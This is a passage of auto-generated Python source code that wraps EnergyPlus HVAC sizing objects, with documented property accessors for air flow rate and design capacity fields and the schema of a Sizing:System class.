Rate Method is FlowPerFloorArea. | This field may be blank if a cooling coil is not included in the Zone HVAC equipment. | Units: m3/s-m2 Args: value (float): value for IDD Field `Cooling Supply Air Flow Rate Per Floor Area` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `cooling_supply_air_flow_rate_per_floor_area` or None if not set """ return self["Cooling Supply Air Flow Rate Per Floor Area"] @cooling_supply_air_flow_rate_per_floor_area.setter def cooling_supply_air_flow_rate_per_floor_area(self, value=None): """Corresponds to IDD field `Cooling Supply Air Flow Rate Per Floor Area`""" self["Cooling Supply Air Flow Rate Per Floor Area"] = value @property def cooling_fraction_of_autosized_cooling_supply_air_flow_rate(self): """field `Cooling Fraction of Autosized Cooling Supply Air Flow Rate` | Enter the supply air volume flow rate as a fraction of the cooling supply air flow rate. | Required field when Cooling Supply Air Flow Rate Method is | FractionOfAutosizedCoolingAirflow. | This field may be blank if a cooling coil is not included in the Zone HVAC equipment. Args: value (float): value for IDD Field `Cooling Fraction of Autosized Cooling Supply Air Flow Rate` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `cooling_fraction_of_autosized_cooling_supply_air_flow_rate` or None if not set """ return self[ "Cooling Fraction of Autosized Cooling Supply Air Flow Rate"] @cooling_fraction_of_autosized_cooling_supply_air_flow_rate.setter def cooling_fraction_of_autosized_cooling_supply_air_flow_rate( self, value=None): """Corresponds to IDD field `Cooling Fraction of Autosized Cooling Supply Air Flow Rate`""" self[ "Cooling Fraction of Autosized Cooling Supply Air Flow Rate"] = value @property def cooling_supply_air_flow_rate_per_unit_cooling_capacity(self): """field `Cooling Supply Air Flow Rate Per Unit Cooling Capacity` | Enter the cooling supply air volume flow rate unit cooling capacity. | Required field when Cooling Supply Air Flow Rate Method is | FlowPerCoolingCapacity. This field may be blank if a cooling coil is not | included in the Zone HVAC equipment. | Units: m3/s-W Args: value (float): value for IDD Field `Cooling Supply Air Flow Rate Per Unit Cooling Capacity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `cooling_supply_air_flow_rate_per_unit_cooling_capacity` or None if not set """ return self["Cooling Supply Air Flow Rate Per Unit Cooling Capacity"] @cooling_supply_air_flow_rate_per_unit_cooling_capacity.setter def cooling_supply_air_flow_rate_per_unit_cooling_capacity( self, value=None): """Corresponds to IDD field `Cooling Supply Air Flow Rate Per Unit Cooling Capacity`""" self["Cooling Supply Air Flow Rate Per Unit Cooling Capacity"] = value @property def no_load_supply_air_flow_rate_method(self): """field `No Load Supply Air Flow Rate Method` | Enter the method used to determine the supply air volume flow rate When No Cooling or Heating | is Required. None is used when a cooling or heating coil is not included in the Zone HVAC | Equipment or this field may be blank. SupplyAirFlowRate => selected when the magnitude of the | supply air volume flow rate is specified. FlowPerFloorArea => selected when the supply air | volume flow rate is determined from total floor area served by the Zone HVAC unit and Flow Per | Floor Area is specified. FractionOfAutosizedCoolingAirflow => is selected when the supply | air volume is determined from a user specified fraction and the Autosized cooling supply | air flow rate value determined by the simulation. FractionOfAutosizedHeatingAirflow => is | selected when the supply air volume is determined from a user specified fraction and the | Autosized heating supply air flow rate value determined by the simulation. | Default value: SupplyAirFlowRate Args: value (str): value for IDD Field `No Load Supply Air Flow Rate Method` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `no_load_supply_air_flow_rate_method` or None if not set """ return self["No Load Supply Air Flow Rate Method"] @no_load_supply_air_flow_rate_method.setter def no_load_supply_air_flow_rate_method(self, value="SupplyAirFlowRate"): """Corresponds to IDD field `No Load Supply Air Flow Rate Method`""" self["No Load Supply Air Flow Rate Method"] = value @property def no_load_supply_air_flow_rate(self): """field `No Load Supply Air Flow Rate` | Enter the magnitude of the supply air volume flow rate during when no cooling or heating | is required. Required field when No Load Supply Air Flow Rate Method | is SupplyAirFlowRate. | Units: m3/s Args: value (float or "Autosize"): value for IDD Field `No Load Supply Air Flow Rate` Raises: ValueError: if `value` is not a valid value Returns: float or "Autosize": the value of `no_load_supply_air_flow_rate` or None if not set """ return self["No Load Supply Air Flow Rate"] @no_load_supply_air_flow_rate.setter def no_load_supply_air_flow_rate(self, value=None): """Corresponds to IDD field `No Load Supply Air Flow Rate`""" self["No Load Supply Air Flow Rate"] = value @property def no_load_supply_air_flow_rate_per_floor_area(self): """field `No Load Supply Air Flow Rate Per Floor Area` | Enter the supply air volume flow rate per total floor area. | Required field when No Load Supply Air Flow Rate Method | is FlowPerFloorArea. | Units: m3/s-m2 Args: value (float): value for IDD Field `No Load Supply Air Flow Rate Per Floor Area` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `no_load_supply_air_flow_rate_per_floor_area` or None if not set """ return self["No Load Supply Air Flow Rate Per Floor Area"] @no_load_supply_air_flow_rate_per_floor_area.setter def no_load_supply_air_flow_rate_per_floor_area(self, value=None): """Corresponds to IDD field `No Load Supply Air Flow Rate Per Floor Area`""" self["No Load Supply Air Flow Rate Per Floor Area"] = value @property def no_load_fraction_of_cooling_supply_air_flow_rate(self): """field `No Load Fraction of Cooling Supply Air Flow Rate` | Enter the supply air volume flow rate as a fraction of the cooling supply air flow rate. | Required field when No Load Supply Air Flow Rate Method | is FractionOfAutosizedCoolingAirflow. Args: value (float): value for IDD Field `No Load Fraction of Cooling Supply Air Flow Rate` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `no_load_fraction_of_cooling_supply_air_flow_rate` or None if not set """ return self["No Load Fraction of Cooling Supply Air Flow Rate"] @no_load_fraction_of_cooling_supply_air_flow_rate.setter def no_load_fraction_of_cooling_supply_air_flow_rate(self, value=None): """Corresponds to IDD field `No Load Fraction of Cooling Supply Air Flow Rate`""" self["No Load Fraction of Cooling Supply Air Flow Rate"] = value @property def no_load_fraction_of_heating_supply_air_flow_rate(self): """field `No Load Fraction of Heating Supply Air Flow Rate` | Enter the supply air volume flow rate as a fraction of the heating supply air flow rate. | Required field when No Load Supply Air Flow Rate Method | is FractionOfAutosizedHeatingAirflow. Args: value (float): value for IDD Field `No Load Fraction of Heating Supply Air Flow Rate` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `no_load_fraction_of_heating_supply_air_flow_rate` or None if not set """ return self["No Load Fraction of Heating Supply Air Flow Rate"] @no_load_fraction_of_heating_supply_air_flow_rate.setter def no_load_fraction_of_heating_supply_air_flow_rate(self, value=None): """Corresponds to IDD field `No Load Fraction of Heating Supply Air Flow Rate`""" self["No Load Fraction of Heating Supply Air Flow Rate"] = value @property def heating_supply_air_flow_rate_method(self): """field `Heating Supply Air Flow Rate Method` | Enter the method used to determine the heating supply air volume flow rate. | None is used when a heating coil is not included in the Zone HVAC Equipment or this field may | be blank. SupplyAirFlowRate => selected when the magnitude of the heating supply air volume | flow rate is specified. FlowPerFloorArea => selected when the supply air volume flow rate is | determined from total floor area served by a Zone HVAC unit and user specified value of Flow | Per Floor Area. FractionOfAutosizedHeatingAirflow => is selected when the supply air volume | is determined from a user specified fraction and the Autosized heating supply air flow rate | value determined by the simulation. FlowPerHeatingCapacity => is selected when the supply | air volume is determined from user specified flow per Heating Capacity and Heating Capacity | determined by the simulation. | Default value: SupplyAirFlowRate Args: value (str): value for IDD Field `Heating Supply Air Flow Rate Method` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `heating_supply_air_flow_rate_method` or None if not set """ return self["Heating Supply Air Flow Rate Method"] @heating_supply_air_flow_rate_method.setter def heating_supply_air_flow_rate_method(self, value="SupplyAirFlowRate"): """Corresponds to IDD field `Heating Supply Air Flow Rate Method`""" self["Heating Supply Air Flow Rate Method"] = value @property def heating_supply_air_flow_rate(self): """field `Heating Supply Air Flow Rate` | Enter the magnitude of the supply air volume flow rate during heating operation. | Required field when Heating Supply Air Flow Rate Method is SupplyAirFlowRate. | This field may be blank if a heating coil is not included in the Zone HVAC equipment. | Units: m3/s Args: value (float or "Autosize"): value for IDD Field `Heating Supply Air Flow Rate` Raises: ValueError: if `value` is not a valid value Returns: float or "Autosize": the value of `heating_supply_air_flow_rate` or None if not set """ return self["Heating Supply Air Flow Rate"] @heating_supply_air_flow_rate.setter def heating_supply_air_flow_rate(self, value=None): """Corresponds to IDD field `Heating Supply Air Flow Rate`""" self["Heating Supply Air Flow Rate"] = value @property def heating_supply_air_flow_rate_per_floor_area(self): """field `Heating Supply Air Flow Rate Per Floor Area` | Enter the heating supply air volume flow rate per total conditioned floor area. | Required field when Heating Supply Air Flow Rate Method is FlowPerFloorArea. | This field may be blank if a heating coil is not included in the Zone HVAC equipment. | Units: m3/s-m2 Args: value (float): value for IDD Field `Heating Supply Air Flow Rate Per Floor Area` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `heating_supply_air_flow_rate_per_floor_area` or None if not set """ return self["Heating Supply Air Flow Rate Per Floor Area"] @heating_supply_air_flow_rate_per_floor_area.setter def heating_supply_air_flow_rate_per_floor_area(self, value=None): """Corresponds to IDD field `Heating Supply Air Flow Rate Per Floor Area`""" self["Heating Supply Air Flow Rate Per Floor Area"] = value @property def heating_fraction_of_heating_supply_air_flow_rate(self): """field `Heating Fraction of Heating Supply Air Flow Rate` | Enter the supply air volume flow rate as a fraction of the heating supply air flow rate. | Required field when Heating Supply Air Flow Rate Method is | FractionOfAutosizedHeatingAirflow. | This field may be blank if a heating coil is not included in the Zone HVAC equipment. Args: value (float): value for IDD Field `Heating Fraction of Heating Supply Air Flow Rate` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `heating_fraction_of_heating_supply_air_flow_rate` or None if not set """ return self["Heating Fraction of Heating Supply Air Flow Rate"] @heating_fraction_of_heating_supply_air_flow_rate.setter def heating_fraction_of_heating_supply_air_flow_rate(self, value=None): """Corresponds to IDD field `Heating Fraction of Heating Supply Air Flow Rate`""" self["Heating Fraction of Heating Supply Air Flow Rate"] = value @property def heating_supply_air_flow_rate_per_unit_heating_capacity(self): """field `Heating Supply Air Flow Rate Per Unit Heating Capacity` | Enter the supply air volume flow rate per unit heating capacity. | Required field when Heating Supply Air Flow Rate Method is | FlowPerHeatingCapacity. | This field may be blank if a heating coil is not included in the Zone HVAC equipment. | Units: m3/s-W Args: value (float): value for IDD Field `Heating Supply Air Flow Rate Per Unit Heating Capacity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `heating_supply_air_flow_rate_per_unit_heating_capacity` or None if not set """ return self["Heating Supply Air Flow Rate Per Unit Heating Capacity"] @heating_supply_air_flow_rate_per_unit_heating_capacity.setter def heating_supply_air_flow_rate_per_unit_heating_capacity( self, value=None): """Corresponds to IDD field `Heating Supply Air Flow Rate Per Unit Heating Capacity`""" self["Heating Supply Air Flow Rate Per Unit Heating Capacity"] = value @property def cooling_design_capacity_method(self): """field `Cooling Design Capacity Method` | Enter the method used to determine the cooling design capacity for scalable sizing. | None is used when a cooling coils is not included in the Zone HVAC Equipment or | this field may be blank. If this input field is left blank, then the design cooling | capacity is set to zero. CoolingDesignCapacity => selected when the design cooling capacity | value is specified or auto-sized. CapacityPerFloorArea => selected when the design cooling | capacity is determine from user specified cooling capacity per floor area and zone floor area. | FractionOfAutosizedCoolingCapacity => is selected when the design cooling capacity is | determined from a user specified fraction and the auto-sized design cooling capacity. | Default value: None Args: value (str): value for IDD Field `Cooling Design Capacity Method` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `cooling_design_capacity_method` or None if not set """ return self["Cooling Design Capacity Method"] @cooling_design_capacity_method.setter def cooling_design_capacity_method(self, value="None"): """Corresponds to IDD field `Cooling Design Capacity Method`""" self["Cooling Design Capacity Method"] = value @property def cooling_design_capacity(self): """field `Cooling Design Capacity` | Enter the design cooling capacity. Required field when the cooling design capacity method | CoolingDesignCapacity. | Units: W Args: value (float or "Autosize"): value for IDD Field `Cooling Design Capacity` Raises: ValueError: if `value` is not a valid value Returns: float or "Autosize": the value of `cooling_design_capacity` or None if not set """ return self["Cooling Design Capacity"] @cooling_design_capacity.setter def cooling_design_capacity(self, value=None): """Corresponds to IDD field `Cooling Design Capacity`""" self["Cooling Design Capacity"] = value @property def cooling_design_capacity_per_floor_area(self): """field `Cooling Design Capacity Per Floor Area` | Enter the cooling design capacity per zone floor area. Required field when the cooling design | capacity method field is CapacityPerFloorArea. | Units: W/m2 Args: value (float): value for IDD Field `Cooling Design Capacity Per Floor Area` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `cooling_design_capacity_per_floor_area` or None if not set """ return self["Cooling Design Capacity Per Floor Area"] @cooling_design_capacity_per_floor_area.setter def cooling_design_capacity_per_floor_area(self, value=None): """Corresponds to IDD field `Cooling Design Capacity Per Floor Area`""" self["Cooling Design Capacity Per Floor Area"] = value @property def fraction_of_autosized_cooling_design_capacity(self): """field `Fraction of Autosized Cooling Design Capacity` | Enter the fraction of auto-sized cooling design capacity. Required field when the cooling | design capacity method field is FractionOfAutosizedCoolingCapacity. Args: value (float): value for IDD Field `Fraction of Autosized Cooling Design Capacity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `fraction_of_autosized_cooling_design_capacity` or None if not set """ return self["Fraction of Autosized Cooling Design Capacity"] @fraction_of_autosized_cooling_design_capacity.setter def fraction_of_autosized_cooling_design_capacity(self, value=None): """Corresponds to IDD field `Fraction of Autosized Cooling Design Capacity`""" self["Fraction of Autosized Cooling Design Capacity"] = value @property def heating_design_capacity_method(self): """field `Heating Design Capacity Method` | Enter the method used to determine the heating design capacity for scalable sizing. | None is used when a heating coil is not included in the Zone HVAC Equipment or | this field may be blank. If this input field is left blank, then the design heating | capacity is set to zero. HeatingDesignCapacity => selected when the design heating capacity | value is specified or auto-sized. CapacityPerFloorArea => selected when the design cooling | capacity is determine from user specified heating capacity per flow area and zone floor area. | FractionOfAutosizedHeatingCapacity => is selected when the design heating capacity is | determined from a user specified fraction and the auto-sized design heating capacity | Default value: None Args: value (str): value for IDD Field `Heating Design Capacity Method` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `heating_design_capacity_method` or None if not set """ return self["Heating Design Capacity Method"] @heating_design_capacity_method.setter def heating_design_capacity_method(self, value="None"): """Corresponds to IDD field `Heating Design Capacity Method`""" self["Heating Design Capacity Method"] = value @property def heating_design_capacity(self): """field `Heating Design Capacity` | Enter the design heating capacity. Required field when the heating design capacity method | HeatingDesignCapacity. | Units: W Args: value (float or "Autosize"): value for IDD Field `Heating Design Capacity` Raises: ValueError: if `value` is not a valid value Returns: float or "Autosize": the value of `heating_design_capacity` or None if not set """ return self["Heating Design Capacity"] @heating_design_capacity.setter def heating_design_capacity(self, value=None): """Corresponds to IDD field `Heating Design Capacity`""" self["Heating Design Capacity"] = value @property def heating_design_capacity_per_floor_area(self): """field `Heating Design Capacity Per Floor Area` | Enter the heating design capacity per zone floor area. Required field when the heating design | capacity method field is CapacityPerFloorArea. | Units: W/m2 Args: value (float): value for IDD Field `Heating Design Capacity Per Floor Area` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `heating_design_capacity_per_floor_area` or None if not set """ return self["Heating Design Capacity Per Floor Area"] @heating_design_capacity_per_floor_area.setter def heating_design_capacity_per_floor_area(self, value=None): """Corresponds to IDD field `Heating Design Capacity Per Floor Area`""" self["Heating Design Capacity Per Floor Area"] = value @property def fraction_of_autosized_heating_design_capacity(self): """field `Fraction of Autosized Heating Design Capacity` | Enter the fraction of auto-sized heating design capacity. Required field when capacity the | heating design capacity method field is FractionOfAutosizedHeatingCapacity. Args: value (float): value for IDD Field `Fraction of Autosized Heating Design Capacity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `fraction_of_autosized_heating_design_capacity` or None if not set """ return self["Fraction of Autosized Heating Design Capacity"] @fraction_of_autosized_heating_design_capacity.setter def fraction_of_autosized_heating_design_capacity(self, value=None): """Corresponds to IDD field `Fraction of Autosized Heating Design Capacity`""" self["Fraction of Autosized Heating Design Capacity"] = value class SizingSystem(DataObject): """ Corresponds to IDD object `Sizing:System` Specifies the input needed to perform sizing calculations for a central forced air system. System design air flow, heating capacity, and cooling capacity will be calculated using this input data. """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'airloop name', {'name': u'AirLoop Name', 'pyname': u'airloop_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'type of load to size on', {'name': u'Type of Load to Size On', 'pyname': u'type_of_load_to_size_on', 'default': u'Sensible', 'required-field': False, 'autosizable': False, 'accepted-values': [u'Sensible', u'Total', u'VentilationRequirement'], 'autocalculatable': False, 'type': 'alpha'}), (u'design outdoor air flow rate', {'name': u'Design Outdoor Air Flow Rate', 'pyname': u'design_outdoor_air_flow_rate', 'default': 'autosize', 'required-field': False, 'autosizable': True, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm3/s'}), (u'central heating maximum system air flow ratio', {'name': u'Central Heating Maximum System Air Flow Ratio', 'pyname': u'central_heating_maximum_system_air_flow_ratio', 'default': 0.5, 'maximum': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'preheat design temperature', {'name': u'Preheat Design Temperature', 'pyname': u'preheat_design_temperature', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'preheat design humidity ratio', {'name': u'Preheat Design Humidity Ratio', 'pyname': u'preheat_design_humidity_ratio', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'kgWater/kgDryAir'}), (u'precool design temperature', {'name': u'Precool Design Temperature', 'pyname': u'precool_design_temperature', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'precool design humidity ratio', {'name': u'Precool Design Humidity Ratio', 'pyname': u'precool_design_humidity_ratio', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'kgWater/kgDryAir'}), (u'central cooling design supply air temperature', {'name': u'Central Cooling Design Supply Air Temperature', 'pyname': u'central_cooling_design_supply_air_temperature', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'central heating design supply air temperature', {'name': u'Central Heating Design Supply Air Temperature', 'pyname': u'central_heating_design_supply_air_temperature', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'type of zone sum to use', {'name': u'Type of Zone Sum to Use', 'pyname': u'type_of_zone_sum_to_use', 'default': u'NonCoincident', 'required-field': False, 'autosizable': False, 'accepted-values': [u'Coincident', u'NonCoincident'], 'autocalculatable': False, 'type': 'alpha'}), (u'100% outdoor air in cooling', {'name': u'100% Outdoor Air in Cooling', 'pyname': u'a_100_outdoor_air_in_cooling', 'default': u'No', 'required-field': False, 'autosizable': False, 'accepted-values': [u'Yes', u'No'], 'autocalculatable': False, 'type': 'alpha'}), (u'100% outdoor air in heating', {'name': u'100% Outdoor Air in Heating', 'pyname': u'a_100_outdoor_air_in_heating', 'default': u'No', 'required-field': False, 'autosizable': False, 'accepted-values': [u'Yes', u'No'], 'autocalculatable': False, 'type': 'alpha'}), (u'central cooling design supply air humidity ratio', {'name': u'Central Cooling Design Supply Air Humidity Ratio', 'pyname': u'central_cooling_design_supply_air_humidity_ratio', 'default': 0.008, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'kgWater/kgDryAir'}), (u'central heating design supply air humidity ratio', {'name': u'Central Heating Design Supply Air Humidity Ratio', 'pyname': u'central_heating_design_supply_air_humidity_ratio', 'default': 0.008, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'kgWater/kgDryAir'}), (u'cooling supply air flow rate method', {'name': u'Cooling Supply Air Flow Rate Method', 'pyname': u'cooling_supply_air_flow_rate_method', 'default': u'DesignDay', 'required-field': False, 'autosizable': False, 'accepted-values': [u'Flow/System', u'DesignDay', u'FlowPerFloorArea', u'FractionOfAutosizedCoolingAirflow', u'FlowPerCoolingCapacity'], 'autocalculatable': False, 'type': 'alpha'}), (u'cooling supply air flow rate', {'name': u'Cooling Supply Air Flow Rate', 'pyname': u'cooling_supply_air_flow_rate', 'default': 0.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm3/s'}), (u'cooling supply air flow rate per floor area', {'name': u'Cooling Supply Air Flow Rate Per Floor Area', 'pyname': u'cooling_supply_air_flow_rate_per_floor_area', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm3/s-m2'}), (u'cooling fraction of autosized cooling supply air flow rate', {'name': u'Cooling Fraction of Autosized Cooling Supply Air Flow Rate', 'pyname': u'cooling_fraction_of_autosized_cooling_supply_air_flow_rate', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'cooling supply air flow rate per unit cooling capacity', {'name': u'Cooling Supply Air Flow Rate Per Unit Cooling Capacity', 'pyname': u'cooling_supply_air_flow_rate_per_unit_cooling_capacity', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm3/s-W'}), (u'heating supply air flow rate method', {'name': u'Heating Supply Air Flow Rate Method', 'pyname': u'heating_supply_air_flow_rate_method', 'default': u'DesignDay', 'required-field': False, 'autosizable': False, 'accepted-values': [u'Flow/System', u'DesignDay', u'FlowPerFloorArea', u'FractionOfAutosizedHeatingAirflow', u'FractionOfAutosizedCoolingAirflow', u'FlowPerCoolingCapacity'], 'autocalculatable': False, 'type': 'alpha'}), (u'heating supply air flow rate', {'name': u'Heating Supply Air Flow Rate', 'pyname': u'heating_supply_air_flow_rate', 'default': 0.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm3/s'}), (u'heating supply air flow rate per floor area', {'name': u'Heating Supply Air Flow Rate Per Floor Area', 'pyname': u'heating_supply_air_flow_rate_per_floor_area', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm3/s-m2'}), (u'heating fraction of autosized heating supply air flow rate', {'name': u'Heating Fraction of Autosized Heating Supply Air Flow Rate', 'pyname': u'heating_fraction_of_autosized_heating_supply_air_flow_rate', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'heating fraction of autosized cooling supply air flow rate', {'name': u'Heating Fraction of Autosized Cooling Supply Air Flow Rate', 'pyname': u'heating_fraction_of_autosized_cooling_supply_air_flow_rate', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'heating supply air flow rate per unit heating capacity', {'name': u'Heating Supply Air Flow Rate Per Unit Heating Capacity', 'pyname': u'heating_supply_air_flow_rate_per_unit_heating_capacity', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm3/s-W'}), (u'system outdoor air method', {'name': u'System Outdoor Air Method', 'pyname': u'system_outdoor_air_method', 'default': u'ZoneSum', 'required-field': False, 'autosizable': False, 'accepted-values': [u'ZoneSum', u'VentilationRateProcedure'], 'autocalculatable': False, 'type': 'alpha'}), (u'zone maximum outdoor air fraction', {'name': u'Zone Maximum Outdoor Air Fraction', 'pyname': u'zone_maximum_outdoor_air_fraction', 'default': 1.0, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'cooling design capacity method', {'name': u'Cooling Design Capacity Method', 'pyname': u'cooling_design_capacity_method', 'default': u'CoolingDesignCapacity', 'required-field': False, 'autosizable': False, 'accepted-values': [u'None', u'CoolingDesignCapacity', u'CapacityPerFloorArea', u'FractionOfAutosizedCoolingCapacity'], 'autocalculatable': False, 'type': 'alpha'}), (u'cooling design capacity', {'name': u'Cooling Design Capacity', 'pyname': u'cooling_design_capacity', 'default': 'autosize', 'required-field': False, 'autosizable': True, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'W'}), (u'cooling design capacity per floor area', {'name': u'Cooling Design Capacity Per Floor Area', 'pyname': u'cooling_design_capacity_per_floor_area', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m2'}), (u'fraction of autosized cooling design capacity', {'name': u'Fraction of Autosized Cooling Design Capacity', 'pyname': u'fraction_of_autosized_cooling_design_capacity', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'heating design capacity method', {'name': u'Heating Design Capacity Method', 'pyname': u'heating_design_capacity_method', 'default': u'HeatingDesignCapacity', 'required-field': False, 'autosizable': False, 'accepted-values': [u'None', u'HeatingDesignCapacity', u'CapacityPerFloorArea', u'FractionOfAutosizedHeatingCapacity'], 'autocalculatable': False, 'type': 'alpha'}), (u'heating design capacity', {'name': u'Heating Design Capacity', 'pyname': u'heating_design_capacity', 'default': 'autosize', 'required-field': False, 'autosizable': True, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'W'}), (u'heating design capacity per floor area', {'name': u'Heating Design Capacity Per Floor Area', 'pyname': u'heating_design_capacity_per_floor_area', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m2'}), (u'fraction of autosized heating design capacity', {'name': u'Fraction of Autosized Heating Design Capacity', 'pyname': u'fraction_of_autosized_heating_design_capacity', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'central cooling capacity control method', {'name': u'Central Cooling Capacity Control Method', 'pyname': u'central_cooling_capacity_control_method', 'default': u'OnOff', 'required-field': False, 'autosizable': False, 'accepted-values': [u'VAV', u'Bypass', u'VT', u'OnOff'], 'autocalculatable': False, 'type': 'alpha'})]), 'format': None, 'group': u'HVAC Design Objects', 'min-fields': 37, 'name': u'Sizing:System', 'pyname': u'SizingSystem', 'required-object': False, 'unique-object': False} @property def airloop_name(self): """field `AirLoop Name` Args: value (str): value for IDD Field `AirLoop Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `airloop_name` or None if not set """ return self["AirLoop Name"] @airloop_name.setter def airloop_name(self, value=None): """Corresponds to IDD field `AirLoop Name`""" self["AirLoop Name"] = value @property def type_of_load_to_size_on(self): """field `Type of Load to Size On` | Specifies the basis for sizing the system supply air flow rate | Sensible and VentilationRequirement are the only available options | Sensible uses the zone design air flow rates | VentilationRequirement uses the system ventilation requirement | Default value: Sensible Args: value (str): value for IDD Field `Type of Load to Size On` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `type_of_load_to_size_on` or None if not set """ return self["Type of Load to Size On"] @type_of_load_to_size_on.setter def type_of_load_to_size_on(self, value="Sensible"): """Corresponds to IDD field `Type of Load to Size On`""" self["Type of Load to Size On"] = value @property def design_outdoor_air_flow_rate(self): """field `Design Outdoor Air Flow Rate` | Units: m3/s | Default value: "autosize" Args: value (float or "Autosize"): value for IDD Field `Design Outdoor Air Flow Rate` Raises: ValueError: if `value` is not a valid value Returns: float or "Autosize": the value of `design_outdoor_air_flow_rate` or None if not set """ return self["Design Outdoor Air Flow Rate"] @design_outdoor_air_flow_rate.setter def design_outdoor_air_flow_rate(self, value="autosize"): """Corresponds to IDD field `Design Outdoor Air Flow Rate`""" self["Design Outdoor Air Flow Rate"] = value @property def central_heating_maximum_system_air_flow_ratio(self): """field `Central Heating Maximum System Air Flow Ratio` | Default value: 0.5 | value <= 1.0 Args: value (float): value for IDD Field `Central Heating Maximum System Air Flow Ratio` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `central_heating_maximum_system_air_flow_ratio` or None if not set """ return self["Central Heating Maximum System Air Flow Ratio"] @central_heating_maximum_system_air_flow_ratio.setter def central_heating_maximum_system_air_flow_ratio(self, value=0.5): """Corresponds to IDD field `Central Heating Maximum System Air Flow Ratio`""" self["Central Heating Maximum System Air Flow Ratio"] = value @property def preheat_design_temperature(self): """field `Preheat Design Temperature` | Units: C Args: value (float): value for IDD Field `Preheat Design Temperature` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `preheat_design_temperature` or None if not set """ return self["Preheat Design Temperature"] @preheat_design_temperature.setter def preheat_design_temperature(self, value=None): """Corresponds to IDD field `Preheat Design Temperature`""" self["Preheat Design Temperature"] = value @property def preheat_design_humidity_ratio(self): """field `Preheat Design Humidity Ratio` | Units: kgWater/kgDryAir Args: value (float): value for IDD Field `Preheat Design Humidity Ratio` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `preheat_design_humidity_ratio` or None if not set """ return self["Preheat Design Humidity Ratio"] @preheat_design_humidity_ratio.setter def preheat_design_humidity_ratio(self, value=None): """Corresponds to IDD field `Preheat Design Humidity Ratio`""" self["Preheat Design Humidity Ratio"] = value @property def precool_design_temperature(self): """field `Precool Design Temperature` | Units: C Args: value (float): value for IDD Field `Precool Design Temperature` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `precool_design_temperature` or None if not set """ return self["Precool Design Temperature"] @precool_design_temperature.setter def precool_design_temperature(self, value=None): """Corresponds to IDD field `Precool Design Temperature`""" self["Precool Design Temperature"] = value @property def precool_design_humidity_ratio(self): """field `Precool Design Humidity Ratio` | Units: kgWater/kgDryAir Args: value (float): value for IDD Field `Precool Design Humidity Ratio` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `precool_design_humidity_ratio` or None if not set """ return self["Precool Design Humidity Ratio"] @precool_design_humidity_ratio.setter def precool_design_humidity_ratio(self, value=None): """Corresponds to IDD field `Precool Design Humidity Ratio`""" self["Precool Design Humidity Ratio"] = value @property def central_cooling_design_supply_air_temperature(self): """field `Central Cooling Design Supply Air Temperature` | Units: C Args: value (float): value for IDD Field `Central Cooling Design Supply Air Temperature` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `central_cooling_design_supply_air_temperature` or None if not set """ return 